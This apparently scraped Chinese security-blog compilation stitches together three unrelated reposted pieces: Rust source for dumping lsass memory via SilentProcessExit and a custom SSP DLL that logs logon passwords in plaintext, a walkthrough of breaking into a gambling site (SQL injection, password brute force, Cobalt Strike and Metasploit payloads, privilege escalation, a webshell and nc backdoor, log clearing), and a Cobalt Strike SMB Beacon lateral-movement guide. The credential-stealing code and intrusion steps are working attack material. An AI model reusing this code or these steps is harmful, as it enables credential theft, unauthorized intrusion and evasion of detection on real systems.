}, Security::{TOKEN_PRIVILEGES, LUID_AND_ATTRIBUTES, SE_PRIVILEGE_ENABLED, TOKEN_ADJUST_PRIVILEGES, LookupPrivilegeValueA, AdjustTokenPrivileges}, System::{Threading::{OpenProcessToken, GetCurrentProcess, PROCESS_QUERY_LIMITED_INFORMATION, PROCESS_VM_READ}, Diagnostics::ToolHelp::TH32CS_SNAPTHREAD, Registry::{HKEY_LOCAL_MACHINE, HKEY, RegOpenKeyExW, KEY_READ, KEY_WRITE, RegCreateKeyExW, KEY_SET_VALUE, RegSetValueExA, REG_DWORD, KEY_ALL_ACCESS, REG_SZ, RegCreateKeyA, REG_CREATED_NEW_KEY}, LibraryLoader::{GetModuleHandleA, GetProcAddress, GetModuleHandleW}}, Storage::FileSystem::CreateFileA, UI::WindowsAndMessaging::GetWindowModuleFileNameA}, core::PCSTR};
use windows_sys::Win32::Storage::FileSystem::{
    CreateFileW,CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL,
};
use windows_sys::Win32::System::Diagnostics::Debug::{
    MiniDumpWithFullMemory,MiniDumpWriteDump
};
use windows_sys::Win32::System::Diagnostics::ToolHelp::{
    CreateToolhelp32Snapshot, Process32First, Process32Next, PROCESSENTRY32, TH32CS_SNAPPROCESS,
};

use windows_sys::Win32::System::SystemServices::GENERIC_ALL;
use windows_sys::Win32::System::Threading::{OpenProcess, PROCESS_ALL_ACCESS};

type FnRtlreportSilentProcessExit = unsafe extern "system" fn(HANDLE, NTSTATUS) -> NTSTATUS;

fn getPrivilege(handle : HANDLE){
    unsafe{
        let mut h_token: HANDLE =  HANDLE::default();
        let mut h_token_ptr: *mut HANDLE = &mut h_token;
        let mut tkp: TOKEN_PRIVILEGES = TOKEN_PRIVILEGES {
            PrivilegeCount: 1,
            Privileges: [LUID_AND_ATTRIBUTES {
                Luid: LUID {
                    LowPart: 0,
                    HighPart: 0,
                },
                Attributes: SE_PRIVILEGE_ENABLED,
            }],
        };
        // 打开当前进程的访问令牌
        let token = OpenProcessToken(handle, TOKEN_ADJUST_PRIVILEGES, h_token_ptr);
        if   token != 0 {
            let systemname  = ptr::null_mut();
            if  LookupPrivilegeValueA(
                systemname,
                b"SeDebugPrivilege\0".as_ptr(),
                &mut tkp.Privileges[0].Luid) != 0 {
                tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
                // println!("{:?}",tkp.Privileges[0].Attributes);
                // 提升当前进程的 SeDebugPrivilege 权限
                if  AdjustTokenPrivileges(
                    h_token,
                    0, 
                    &tkp  as *const TOKEN_PRIVILEGES, 
                    0, 
                    ptr::null_mut(), 
                    ptr::null_mut()) != 0 {
                    println!("Token privileges adjusted successfully");
                } else {
                    let last_error = GetLastError() ;
                    println!("AdjustTokenPrivileges failed with error: STATUS({:?})", last_error);
                }
            } else {
                let last_error = GetLastError() ;
                println!("LookupPrivilegeValue failed with error: STATUS({:?})", last_error);
            }
            // 关闭访问令牌句柄
                CloseHandle(h_token);
        } else {
            let last_error = GetLastError() ;
            println!("OpenProcessToken failed with error: STATUS({:?})", last_error);
        }
    }
}

fn getPid(ProcessName : &str) -> u32{
    unsafe{
        let mut h_snapshot =  CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
        if h_snapshot == INVALID_HANDLE_VALUE {
            println!("Failed to call CreateToolhelp32Snapshot");
        }
        let mut process_entry: PROCESSENTRY32 = std::mem::zeroed::<PROCESSENTRY32>()   ;
        process_entry.dwSize = size_of::<PROCESSENTRY32>() as u32;

        if Process32First(h_snapshot, &mut process_entry) == 0 {
            println!("Process32First error");
        }

        loop {
            let extFileName = CStr::from_ptr(process_entry.szExeFile.as_ptr() as *const i8).to_bytes();
            let extfile = OsString::from_wide(extFileName.iter().map(|&x| x as u16).collect::<Vec<u16>>().as_slice()).to_string_lossy().into_owned();
            if extfile.starts_with(ProcessName){

                break;
            }
            if Process32Next(h_snapshot, &mut process_entry) == 0 {
                println!("Failed to call Process32Next");
                break;
            }
        }
        process_entry.th32ProcessID
    }
}
fn setRegisterRegs() {
    unsafe{
        let key = HKEY_LOCAL_MACHINE;
        let  IFEO_REG_KEY = r"SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\lsass.exe";
        let  SILENT_PROCESS_EXIT_REG_KEY= r"SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\lsass.exe";

        let subkey = OsString::from(IFEO_REG_KEY).encode_wide().chain(Some(0)).collect::<Vec<_>>();
        let mut hKey = HKEY::default();

        let mut hSubKey = HKEY::default();
        let ret = RegCreateKeyExW(
            key,
            OsString::from(SILENT_PROCESS_EXIT_REG_KEY).encode_wide().chain(Some(0)).collect::<Vec<u16>>().as_ptr(),
            0, 
            null_mut(), 
            0, 
            KEY_ALL_ACCESS, 
            ptr::null_mut(), 
            &mut hSubKey, 
            ptr::null_mut());
        if ret != 0   {
            println!("{:?}",ret);
            println!("[-] CreateKey SilentProcessExit\\lsass.exe ERROR\n");
        }

        let DumpTypevalue = std::mem::transmute::<&i32,*const u8>(&0x02) ;
        let DumpTypekey = CString::new("DumpType").unwrap();
        let ret = RegSetValueExA(
            hSubKey,
            DumpTypekey.as_ptr() as *const u8,
            0,
            REG_DWORD,
            DumpTypevalue,
            size_of::<u32>() as u32
        );
        if ret != 0{
            println!("[-] SetDumpTypeKey SilentProcessExit\\lsass.exe  ERROR\n");
        }

        let ReportingModevalue = std::mem::transmute::<&i32,*const u8>(&0x02) ;
        let ReportingModekey = CString::new("ReportingMode").unwrap();

        let ret = RegSetValueExA(
            hSubKey,
            ReportingModekey.as_ptr() as *const u8,
            0,
            REG_DWORD,
            ReportingModevalue,
            size_of::<u32>() as u32
        );
        if ret != 0{
            println!("[-] SetReportingModevalueKey SilentProcessExit\\lsass.exe ERROR\n");
        }

        let ReportingModevalue = "C:\\temp" ;
        let ReportingModekey = CString::new("LocalDumpFolder").unwrap();
        let ret = RegSetValueExA(
            hSubKey,
            ReportingModekey.as_ptr() as *const u8,
            0,
            REG_SZ,
            ReportingModevalue.as_ptr(),
            ReportingModevalue.len() as u32
        );
        if ret != 0{
            println!("[-] SetReportingModekeyKey SilentProcessExit\\lsass.exe ERROR\n");
        }

        let mut hSubKey = HKEY::default();
        let ret = RegCreateKeyExW(
            key,
            OsString::from(IFEO_REG_KEY).encode_wide().chain(Some(0)).collect::<Vec<u16>>().as_ptr(),
            0, 
            null_mut(), 
            0, 
            KEY_ALL_ACCESS, 
            ptr::null_mut(), 
            &mut hSubKey, 
            ptr::null_mut());
        if ret != 0  {
            println!("[-] CreateKey {:?} ERROR\n",IFEO_REG_KEY);
        }

        let GlobalFlagvalue = std::mem::transmute::<&i32,*const u8>(&0x0200) ;
        let GlobalFlagkey = CString::new("GlobalFlag").unwrap();
        let ret = RegSetValueExA(
            hSubKey,
            GlobalFlagkey.as_ptr() as *const u8,
            0,
            REG_DWORD,
            GlobalFlagvalue,
            size_of::<u32>() as u32
        );
        if ret != 0{
            println!("[-] SetReportingModekeyKey SilentProcessExit\\lsass.exe ERROR\n");
        }
        println!("SetRegistryReg successful!");
    }
}

fn main() {
    let matches = App::new("SysWhispers3 - SysWhispers on steroids")
    .arg(Arg::with_name("DumpFileName")
        .short("f")
        .long("DumpFileName")
        .takes_value(true)
        .help("DumpFileName Path like C:\\temp.dmp")).get_matches();
    let mut out_file = "";
    if   matches.is_present("DumpFileName") {
        out_file = matches.value_of("DumpFileName").expect("get DumpFileName args error");
    }else {
        out_file = "lsass.dmp";
    }
    // getProcess(out_file);
    getPrivilege(unsafe { GetCurrentProcess() });
    setRegisterRegs();
    let lsassPid = getPid("lsass.exe");
    let process_handle = unsafe { OpenProcess(PROCESS_ALL_ACCESS, 0, lsassPid) };
    if process_handle == 0 {
        println!("Fail to open the Lsassprocess ");
    }
    unsafe{
        let ntdll_module_name: Vec<u16> = OsStr::new("ntdll.dll").encode_wide().chain(Some(0).into_iter()).collect();
        let h_nt_mod =  GetModuleHandleW(ntdll_module_name.as_ptr());

        if h_nt_mod ==0 {
            println!(" - 获取NTDLL模块句柄失败");

        }
        let function_name = CString::new("RtlReportSilentProcessExit").unwrap();

        let FnRtlreportSilentProcessExit  = GetProcAddress(
            h_nt_mod, 
            function_name.as_ptr() as *const u8).expect("") ;
        let fn_rtl_report_silent_process_exit : FnRtlreportSilentProcessExit = transmute(FnRtlreportSilentProcessExit);
        let desired_access = PROCESS_QUERY_LIMITED_INFORMATION | PROCESS_VM_READ;
        let h_lsass_proc = OpenProcess(desired_access, 0, lsassPid);
        if h_lsass_proc == 0 {
            println!("[+] 获取lsass进程句柄失败: {:X}", GetLastError());
        }
        println!("[+] Got {:?} PID: {:?}","lsass.exe",lsassPid as u32);

        let ntstatus = fn_rtl_report_silent_process_exit(h_lsass_proc,0);
        if ntstatus == 0{
            println!("[+] DumpLsass Successful and file is c:\\temp\\lsass*.dmp...RET CODE : %#X\n");
        }else {
            println!("FnRtlreportSilentProcessExit error!");
        }
    }

}

添加自定义的SSP

SSP(Security Support Provider)是windows操作系统安全机制的提供者。简单的说,SSP就是DLL文件,主要用于windows操作系统的身份认证功能,例如NTLM、Kerberos、Negotiate、Secure Channel(Schannel)、Digest、Credential(CredSSP)。
SSPI(Security Support Provider Interface,安全支持提供程序接口)是windows操作系统在执行认证操作时使用的API接口。可以说SSPI就是SSP的API接口。

官方解释
455rnxsud3q13129.png
在windowsw中lsass.exe和winlogin.exe进程是用来管理登录的两个进程,都包含在LSA(Local Security Authority)里面,它主要是负责运行windows系统安全策略。SSP在windows启动之后,会被加载到lsass.exe进程中,所以关于SSP的用户密码窃取一般是下面几种方法。

(1) 使用MemSSP对lsass进行patch

优点:

  • 不需要重启服务器
  • Lsass进程中不会出现可疑的DLL
    缺点:
  • 需要调用WriteProcessMemory对lsass进行操作,可能会被标记

(2) 使用AddSecurityPackage加载SSP

优点:

  • 可以绕过部分杀软对lsass的监控
  • 可以加载mimilib来记录密码以应对版本大于等于Windows Server 2012的情况
  • 不需要重启服务器
    缺点:
  • 需要写注册表
  • 需要将SSP的dll拷贝到system32下
  • Blue Team可以通过枚举SSP来发现我们自定义的SSP,并且lsass进程中可以看到加载的DLL

(3) 通过RPC加载SSP

优点:

  • 可以绕过杀软对lsass的监控
  • 可以加载mimilib来记录密码以应对版本大于等于Windows Server 2012的情况
  • 不需要重启服务器
  • 不需要写注册表
    缺点:
  • 因为没有写注册表,所以无法持久化,如果目标机器重启的话将无法记录密码(因此个人认为比较适合在Server上用,不适合在PC上用)

这里用rust对三种方法都进行一个实现,暂且实现了AddSecurityPackage方法,后续github持续更新。一些基础知识可以看msdn->https://learn.microsoft.com/zh-cn/windows/win32/secauthn/lsa-mode-initialization

使用AddSecurityPackage加载SSP

完整代码在 https://github.com/haoami/RustSSPdumpHash
lib如下

use std::{os::{windows::prelude::{FileExt, OsStringExt, OsStrExt}, raw::c_void}, io::Write, slice, ffi::{OsString, CString}, fs::File};
use windows::{
    Win32::{
        Security::{
            Authentication::Identity::{ 
                SECPKG_PARAMETERS, LSA_SECPKG_FUNCTION_TABLE, SECPKG_FLAG_ACCEPT_WIN32_NAME, SECPKG_FLAG_CONNECTION, SECURITY_LOGON_TYPE, LSA_UNICODE_STRING, SECPKG_PRIMARY_CRED, SECPKG_SUPPLEMENTAL_CRED, SECPKG_INTERFACE_VERSION, SecPkgInfoW, PLSA_AP_INITIALIZE_PACKAGE, PLSA_AP_LOGON_USER, PLSA_AP_CALL_PACKAGE, PLSA_AP_LOGON_TERMINATED, PLSA_AP_CALL_PACKAGE_PASSTHROUGH, PLSA_AP_LOGON_USER_EX, PLSA_AP_LOGON_USER_EX2, SpShutdownFn, SpInitializeFn, SpAcceptCredentialsFn, SpAcquireCredentialsHandleFn, SpFreeCredentialsHandleFn, LSA_AP_POST_LOGON_USER, SpExtractTargetInfoFn, PLSA_AP_POST_LOGON_USER_SURROGATE, PLSA_AP_PRE_LOGON_USER_SURROGATE, PLSA_AP_LOGON_USER_EX3, SpGetTbalSupplementalCredsFn, SpGetRemoteCredGuardSupplementalCredsFn, SpGetRemoteCredGuardLogonBufferFn, SpValidateTargetInfoFn, SpUpdateCredentialsFn, SpGetCredUIContextFn, SpExchangeMetaDataFn, SpQueryMetaDataFn, SpChangeAccountPasswordFn, SpSetCredentialsAttributesFn, SpSetContextAttributesFn, SpSetExtendedInformationFn, SpAddCredentialsFn, SpQueryContextAttributesFn, SpGetExtendedInformationFn, SpGetUserInfoFn, SpApplyControlTokenFn, SpDeleteContextFn, SpAcceptLsaModeContextFn, SpInitLsaModeContextFn, SpDeleteCredentialsFn, SpGetCredentialsFn, SpSaveCredentialsFn, SpQueryCredentialsAttributesFn}, Authorization::ConvertSidToStringSidW
            }, 
            Foundation::{NTSTATUS, STATUS_SUCCESS, PSID}
        }, core::PWSTR
    };
use windows::core::Result;
use windows::core::Error;

pub type SpGetInfoFn = ::core::option::Option<unsafe extern "system" fn(packageinfo: *mut SecPkgInfoW) -> NTSTATUS>;

#[repr(C)]
pub struct SECPKG_FUNCTION_TABLE {
    pub InitializePackage: PLSA_AP_INITIALIZE_PACKAGE,
    pub LogonUserA: PLSA_AP_LOGON_USER,
    pub CallPackage: PLSA_AP_CALL_PACKAGE,
    pub LogonTerminated: PLSA_AP_LOGON_TERMINATED,
    pub CallPackageUntrusted: PLSA_AP_CALL_PACKAGE,
    pub CallPackagePassthrough: PLSA_AP_CALL_PACKAGE_PASSTHROUGH,
    pub LogonUserExA: PLSA_AP_LOGON_USER_EX,
    pub LogonUserEx2: PLSA_AP_LOGON_USER_EX2,
    pub Initialize: SpInitializeFn,
    pub Shutdown: SpShutdownFn,
    pub GetInfo: SpGetInfoFn,
    pub AcceptCredentials: SpAcceptCredentialsFn,
    pub AcquireCredentialsHandleA: SpAcquireCredentialsHandleFn,
    pub QueryCredentialsAttributesA: SpQueryCredentialsAttributesFn,
    pub FreeCredentialsHandle: SpFreeCredentialsHandleFn,
    pub SaveCredentials: SpSaveCredentialsFn,
    pub GetCredentials: SpGetCredentialsFn,
    pub DeleteCredentials: SpDeleteCredentialsFn,
    pub InitLsaModeContext: SpInitLsaModeContextFn,
    pub AcceptLsaModeContext: SpAcceptLsaModeContextFn,
    pub DeleteContext: SpDeleteContextFn,
    pub ApplyControlToken: SpApplyControlTokenFn,
    pub GetUserInfo: SpGetUserInfoFn,
    pub GetExtendedInformation: SpGetExtendedInformationFn,
    pub QueryContextAttributesA: SpQueryContextAttributesFn,
    pub AddCredentialsA: SpAddCredentialsFn,
    pub SetExtendedInformation: SpSetExtendedInformationFn,
    pub SetContextAttributesA: SpSetContextAttributesFn,
    pub SetCredentialsAttributesA: SpSetCredentialsAttributesFn,
    pub ChangeAccountPasswordA: SpChangeAccountPasswordFn,
    pub QueryMetaData: SpQueryMetaDataFn,
    pub ExchangeMetaData: SpExchangeMetaDataFn,
    pub GetCredUIContext: SpGetCredUIContextFn,
    pub UpdateCredentials: SpUpdateCredentialsFn,
    pub ValidateTargetInfo: SpValidateTargetInfoFn,
    pub PostLogonUser: LSA_AP_POST_LOGON_USER,
    pub GetRemoteCredGuardLogonBuffer: SpGetRemoteCredGuardLogonBufferFn,
    pub GetRemoteCredGuardSupplementalCreds: SpGetRemoteCredGuardSupplementalCredsFn,
    pub GetTbalSupplementalCreds: SpGetTbalSupplementalCredsFn,
    pub LogonUserEx3: PLSA_AP_LOGON_USER_EX3,
    pub PreLogonUserSurrogate: PLSA_AP_PRE_LOGON_USER_SURROGATE,
    pub PostLogonUserSurrogate: PLSA_AP_POST_LOGON_USER_SURROGATE,
    pub ExtractTargetInfo: SpExtractTargetInfoFn,
}
const SecPkgFunctionTable : SECPKG_FUNCTION_TABLE= SECPKG_FUNCTION_TABLE{
    InitializePackage: None , 
    LogonUserA: None ,
    CallPackage: None,
    LogonTerminated: None,
    CallPackageUntrusted: None,
    CallPackagePassthrough: None,
    LogonUserExA: None,
    LogonUserEx2: None,
    Initialize: Some(_SpInitialize),
    Shutdown: Some(_SpShutDown),
    GetInfo: Some(_SpGetInfo),
    AcceptCredentials: Some(_SpAcceptCredentials),
    AcquireCredentialsHandleA: None,
    QueryCredentialsAttributesA: None,
    FreeCredentialsHandle: None,
    SaveCredentials: None,
    GetCredentials: None,
    DeleteCredentials: None,
    InitLsaModeContext: None,
    AcceptLsaModeContext: None,
    DeleteContext: None,
    ApplyControlToken: None,
    GetUserInfo: None,
    GetExtendedInformation: None,
    QueryContextAttributesA: None,
    AddCredentialsA: None,
    SetExtendedInformation: None,
    SetContextAttributesA: None,
    SetCredentialsAttributesA: None,
    ChangeAccountPasswordA: None,
    QueryMetaData: None,
    ExchangeMetaData: None,
    GetCredUIContext: None,
    UpdateCredentials: None,
    ValidateTargetInfo: None,
    PostLogonUser: None,
    GetRemoteCredGuardLogonBuffer: None,
    GetRemoteCredGuardSupplementalCreds: None,
    GetTbalSupplementalCreds: None,
    LogonUserEx3: None,
    PreLogonUserSurrogate: None,
    PostLogonUserSurrogate: None,
    ExtractTargetInfo: None,
};

#[no_mangle]
pub unsafe extern "system" fn _SpGetInfo(packageinfo: *mut SecPkgInfoW) -> NTSTATUS {
    (*packageinfo).fCapabilities = SECPKG_FLAG_ACCEPT_WIN32_NAME | SECPKG_FLAG_CONNECTION;
    (*packageinfo).wVersion = 1;
    (*packageinfo).wRPCID = 0; 
    (*packageinfo).cbMaxToken = 0;
    let name = OsString::from("Kerberos").encode_wide().chain(Some(0)).collect::<Vec<_>>().as_ptr();
    let Comment= OsString::from("Kerberos v1.0").encode_wide().chain(Some(0)).collect::<Vec<_>>().as_ptr();
    (*packageinfo).Name = name as *mut u16;
    (*packageinfo).Comment = Comment as *mut u16;
    STATUS_SUCCESS
}

#[no_mangle]
pub unsafe extern "system" fn _SpShutDown() -> NTSTATUS {
    STATUS_SUCCESS
}
#[no_mangle]
pub unsafe extern "system" fn _SpInitialize(
        packageid: usize,
        parameters: *const SECPKG_PARAMETERS,
        functiontable: *const LSA_SECPKG_FUNCTION_TABLE,
    ) -> NTSTATUS {
        STATUS_SUCCESS
    }
pub fn lsa_unicode_string_to_string(lsa_us: &LSA_UNICODE_STRING) -> String {
        let slice = unsafe { slice::from_raw_parts(lsa_us.Buffer.0 as *const u16, lsa_us.Length as usize / 2) };
        let os_string = OsString::from_wide(slice);
        os_string.into_string().unwrap()
}
#[no_mangle]
pub unsafe extern "system" fn _SpAcceptCredentials(
        logontype: SECURITY_LOGON_TYPE,
        accountname: *const LSA_UNICODE_STRING,
        primarycredentials: *const SECPKG_PRIMARY_CRED,
        supplementalcredentials: *const SECPKG_SUPPLEMENTAL_CRED,
    ) -> NTSTATUS {
        let mut logfile = File::create("C:\\temp.log").expect("");
        logfile.write_all(">>>>\n".as_bytes()).expect("CustSSP.log write failed");
        writeln!(
            logfile,
            "[+] Authentication Id : {}:{} ({:08x}:{:08x})",
            (*primarycredentials).LogonId.HighPart,
            (*primarycredentials).LogonId.LowPart,
            (*primarycredentials).LogonId.HighPart,
            (*primarycredentials).LogonId.LowPart,
        ).unwrap();
        let logon_type_str = match logontype {
            SECURITY_LOGON_TYPE::UndefinedLogonType => "UndefinedLogonType",
            SECURITY_LOGON_TYPE::Interactive => "Interactive",
            SECURITY_LOGON_TYPE::Network => "Network",
            SECURITY_LOGON_TYPE::Batch => "Batch",
            SECURITY_LOGON_TYPE::Service => "Service",
            SECURITY_LOGON_TYPE::Proxy => "Proxy",
            SECURITY_LOGON_TYPE::Unlock => "Unlock",
            SECURITY_LOGON_TYPE::NetworkCleartext => "NetworkCleartext",
            SECURITY_LOGON_TYPE::NewCredentials => "NewCredentials",
            SECURITY_LOGON_TYPE::RemoteInteractive => "RemoteInteractive",
            SECURITY_LOGON_TYPE::CachedInteractive => "CachedInteractive",
            SECURITY_LOGON_TYPE::CachedRemoteInteractive => "CachedRemoteInteractive",
            SECURITY_LOGON_TYPE::CachedUnlock => "CachedUnlock",
            _ => "Unknown !"
        };
        writeln!(logfile, "[+] Logon Type        : {}", logon_type_str).unwrap();
        writeln!(logfile, "[+] User Name         : {:?}", accountname);
        writeln!(logfile, "[+] * Domain   : {:?}", lsa_unicode_string_to_string(&(*primarycredentials).DomainName));
        writeln!(logfile, "[+] * Logon Server     : {:?}", lsa_unicode_string_to_string(&(*primarycredentials).LogonServer));
        writeln!(logfile, "[+] * SID     : {:?}", convert_sid_to_string((*primarycredentials).UserSid));
        writeln!(logfile, "[+] * UserName   : {:?}", lsa_unicode_string_to_string(&(*primarycredentials).DownlevelName));
        writeln!(logfile, "[+] * Password       : {:?}", lsa_unicode_string_to_string(&(*primarycredentials).Password));
        drop(logfile);
        STATUS_SUCCESS
    }

#[no_mangle]
pub fn convert_sid_to_string(sid: PSID) -> Result<String> {
        let mut sid_string_ptr: PWSTR = windows::core::PWSTR(std::ptr::null_mut());
        let result = unsafe { ConvertSidToStringSidW(sid, &mut sid_string_ptr) };
        if result.is_ok() {
            let sid_string = unsafe { get_string_from_pwstr(sid_string_ptr) };
            Ok(sid_string)
        } else {
            Err(Error::from_win32())
        }
    }

#[no_mangle]
pub unsafe fn get_string_from_pwstr(pwstr: PWSTR) -> String {
        let len = (0..).take_while(|&i| *pwstr.0.offset(i) != 0).count();
        let slice = std::slice::from_raw_parts(pwstr.0 as *const u16, len);
        String::from_utf16_lossy(slice)
    }

#[no_mangle]
pub unsafe extern "system" fn SpLsaModeInitialize(
    LsaVersion: u32,
    PackageVersion: *mut u32,
    ppTables: *mut *const SECPKG_FUNCTION_TABLE,
    pcTables: *mut u32,
) -> NTSTATUS {
    *PackageVersion = SECPKG_INTERFACE_VERSION ;
    *ppTables = &SecPkgFunctionTable;
    *pcTables = 1 as u32;
    STATUS_SUCCESS
}

t4cdvnj4ula13130.png

参考文章
https://lengjibo.github.io/lassdump/
https://xz.aliyun.com/t/12157#toc-10
https://www.crisprx.top/archives/469
https://3gstudent.github.io/%E6%B8%97%E9%80%8F%E5%9F%BA%E7%A1%80-%E8%BF%9C%E7%A8%8B%E4%BB%8Elsass.exe%E8%BF%9B%E7%A8%8B%E5%AF%BC%E5%87%BA%E5%87%AD%E6%8D%AE
https://www.freebuf.com/sectool/226170.html
https://xz.aliyun.com/t/12157#toc-4
https://cloud.tencent.com/developer/article/2103172
https://mrwu.red/web/2000.html
https://www.wangan.com/p/11v72bf602eabeb6#SpAcceptCredentials
https://loong716.top/posts/lsass/#4-x86%E7%8E%AF%E5%A2%83%E4%B8%8B%E5%88%A9%E7%94%A8rpc%E5%8A%A0%E8%BD%BDssp
https://xz.aliyun.com/t/8323
https://drunkmars.top/2021/12/05/%E6%B3%A8%E5%85%A5SSP/
https://blog.xpnsec.com/exploring-mimikatz-part-2/
https://www.wangan.com/p/11v72bf602eabeb6
https://github.com/haoami/RustSSPdumpHash


转载于原文链接地址:https://forum.butian.net/share/2434


一.前言

最近听说用某qipai产品建的站存在SQL注入,刚好别人发来一个qsqsssfoxga13131.png

渗透惯用套路一把梭

信息收集 -> 漏洞探测/利用 -> 提权/权限维持 -> 清理痕迹

二.信息收集

q1qd4s23cdm13133.png

浏览器访问主页初步发现

系统:Windows server中间件 IIS7.5语言:ASPX

端口扫描

nmap -sV -T4 -p- 11x.xx.xxx.xx
2jb1pg1ulfz13135.png

开放的端口真不少 其中web服务的有几个:80(当前主页)、81、82、88、47001 81:是这个qipai站的后台 82:也是个后台,不知道是什么系统的后台,有验证码 88/47001:访问失败

1433:数据库 mssql

还开了 139445但是被过滤了,不知道是不是有防火墙,后面再看

敏感目录扫描

先用 Dirsearch 过一遍,前面搜集到网站语言是 aspx,加上 -e 指定语言

python dirsearch.py -u http://11x.xx.xxx.xx -e aspx
4e3cexcmlja13137.png

再用 7kbscan 过一遍,毕竟这里面收集的都是国人常用的字典

asrcaxamnfr13138.png

/m/是用户注册页面,可能有用,先记着

l1ru0enzbby13139.png

/test.html是调起微信的入口,没啥用,可能是在手机端引导受害者聊天的吧

hba4h0d30mo13140.png

查IP

北京某个运营商的服务器,菠菜在国内服务器建站挺大胆的

f0xaondrfzr13141.png

信息整理

4fd3xmhgwqn13143.png

估计就是个人建的小站,不去展开收集更过的东西了,免得打偏浪费时间

三.漏洞探测

重点先放在前面找到的 81 端口,也就是网站的后台管理页面

lewl0o23zyh13145.png

没有验证码,用户名 / 密码随便写个 admin / admin,抓包

khlzxhva5ep13148.png

用户名加了个引号发送请求直接返回报错了,不出意外应该会有报错注入或者盲注啥的

u2hwyrdf5k513151.png

兵分两路

一路把这个数据包保存到本地 qipai.txt,用 sqlmap 去扫,前面已经知道是 mssql 数据库,加上 --dbms 参数指定数据库类型节约时间

python sqlmap.py -r qipai.txt --dbms "Microsoft SQL Server" --dbs

另一路,把数据包发送到 intruder 模块去爆破密码,尝试了在浏览器随便输入用户名,提示 "用户名不存在",输入 admin 的时候提示 "用户名或密码错误",说明 admin 账户是存在的,只爆破密码就行

b0zjvurw0kr13155.png

爆出密码 888999,弱口令,永远滴神!

成功登录后台iwuoqmayovk13159.png

只有 69 个注册用户,剩下的全是机器人,这 69 个用户冲了 143 万?玩qipai的都这么有钱吗,我欢乐doudizhu都舍不得冲 6 块首充

apseuyus2n013163.png

赌博沾不得呀,这个老哥一天输了 2800

1dsjukpmyhn13167.png

在后台翻了半天没找到上传点,先放着

回到另一路 sqlmap 看看,确定存在注入,已经在慢慢跑库名了

yq13enuehsw13171.png

跑出 16 个库,根据名字猜 RYPlatformManagerDB库可能存着管理员的相关信息

1gpi2j0qowl13175.png

跑表名

python sqlmap.py -r qipai.txt --tables -D RYPlatformManagerDB
1qta3vibjfr13179.png

翻了半天就找到一个管理员的账号密码,就是前面 bp 爆破出来的那个,还有一些用户的信息,没啥更有价值的

python sqlmap.py -r qipai.txt --is-dba
utzvei2thc213182.png

是 DBA 权限,尝试拿 shell,mssql 数据库直接用 sqlmap 爆破路径就行了

python sqlmap.py -r qipai.txt --os-shell

用的盲注,时间较慢,经过漫长的等待终于成功拿 shell,渗透呐,表面上是个技术活,实际上是个体力活

当前用户权限很小,只是个 mssql 数据库权限


uo0dgumn2id13187.png

Systeminfo 查看一下系统信息,可以看到系统是 64 位的 Windows server 2008

Cobaltstrike 生成攻击载荷,再目标机器上用 powershell 加载,目标机器成功上线


gkvsub2hlxk13190.png

net user查看用户

yxcvuarp3zr13194.png

tasklist查看进程,应该没有装杀软

g4wt2oxf05z13199.png

net start查看已开启的服务,可以看到防火墙是开启的,所以前面 nmap 扫描 445 等端口被过滤

yw0ewpvtb4e13200.png

关闭防火墙,额还没提权

h4vouzhpph513202.png

四.提权/wei权

前面得知这个机器是 windows server 2008,尝试用土豆提权(MS16-075)

um1dx31hvmu13203.png

执行后稍等了一会儿,比较幸运,这个机器没打补丁,一次就提权成功,拿到 system 权限,开始为所欲为

jmwxgozhomr13207.png

进入文件管理,能看到前面信息收集时的 test.html 文件

a1itqm2gzzj13208.png

netstat -ano看一下端口开放情况,3389 没有开

vor0mbdnsxh13212.png

手动开启一下

ttphx0wosbg13213.png

可以访问远程桌面了

rjxte2yiofz13216.png

cobaltstrike 操作我不是很熟练,还是用 metasploite 吧,通过 cs 上传一个 msf 生成的马,msf 开启监听

注:cs 可以直接派生 shell 给 msf,但是当时我尝试的老半天 msf 一直没有返回 session,所以才无奈先手动上传一个 msf 的马曲线救国

vgrneowewxh13220.png

msf 开启监听

ie1fmlf3wug13224.png

在 cs 上运行上传的马

sgxilzb3il113226.png

msf 成功拿到 shell,是继承的 system 权限

buuriv05gnc13230.png

查看密码哈希,不能获取,因为msf的这个马是32位的,系统是64位的

xxamsgmipqr13233.png

ps查看进程,在进程中找一个以 system 权限运行的 64 位的程序,迁移进程后再获取哈希pte0qanhvd213236.png

到在线破解哈希的网站查一下 administrator 的密码,密码不算复杂,几秒钟就查到了

xruqb2wfbm313238.png

成功登录远程桌面

kgnlx4xdpuj13241.png

留两个后门,一个webshell,一个开机自启的nc用来反弹shell

1gaydxbf3yu13244.png

五.清理痕迹,撤退

meterpreter 的 clearv命令一键清除

ko5rr5x441e13246.png

或者手动删除 Windows 日志

rgvlynp4gsx13248.png

六.总结

3rqpu42uvhe13251.png

七.实验推荐

利用sqlmap辅助手工注入

https://www.hetianlab.com/expc.do?ec=ECID172.19.104.182015011915533100001&pk_campaign=freebuf-wemedia

通过本实验的学习,你能够了解sqlmap,掌握sqlmap的常用命令,学会使用sqlmap辅助手工完成注入。



转载于原文链接:

https://www.freebuf.com/articles/network/250744.html

0x01 存在一台中转机器

存在一台中转机器,这台机器出网,这种是最常见的情况。

经常是拿下一台边缘机器,其有多块网卡,内网机器都不出网。这种情况下拿这个边缘机器做中转,就可以上线。

拓扑大致如下:

image-20220516141642261.png

上线方法一: SMB Beacon

介绍

官网介绍:SMB Beacon使用命名管道通过父级Beacon进行通讯,当两个Beacons连接后,子Beacon从父Beacon获取到任务并发送。

因为连接的Beacons使用Windows命名管道进行通信,此流量封装在SMB协议中,所以SMB Beacon相对隐蔽,绕防火墙时可能发挥奇效。

image.png

使用

这种Beacon要求具有SMB Beacon的主机必须接受端口445上的连接。

派生一个SMB Beacon方法:在Listner生成SMB Beacon>目标主机>右键> spawn >选中对应的Listener>上线

或在Beacon中使用命令spawn smb(smb为我的smb listener名字)

image-20220421232107035.png

使用插件,或自带端口扫描,扫描内网机器

image-20220421234112584.png

转到视图,选择目标

image-20220421234143265.png

使用psexec

image-20220421234333884.png

选择一个hash,选择smb 监听器和对应会话

image-20220421234419445.png

即可上线

image-20220422000337348.png

image-20220422000428622.png

运行成功后外部可以看到∞∞这个字符,这就是派生的SMB Beacon。

当前是连接状态,你可以Beacon上用link <ip>命令链接它或者unlink <ip>命令断开它。

image-20220422000410651.png

image-20220422000458483.png

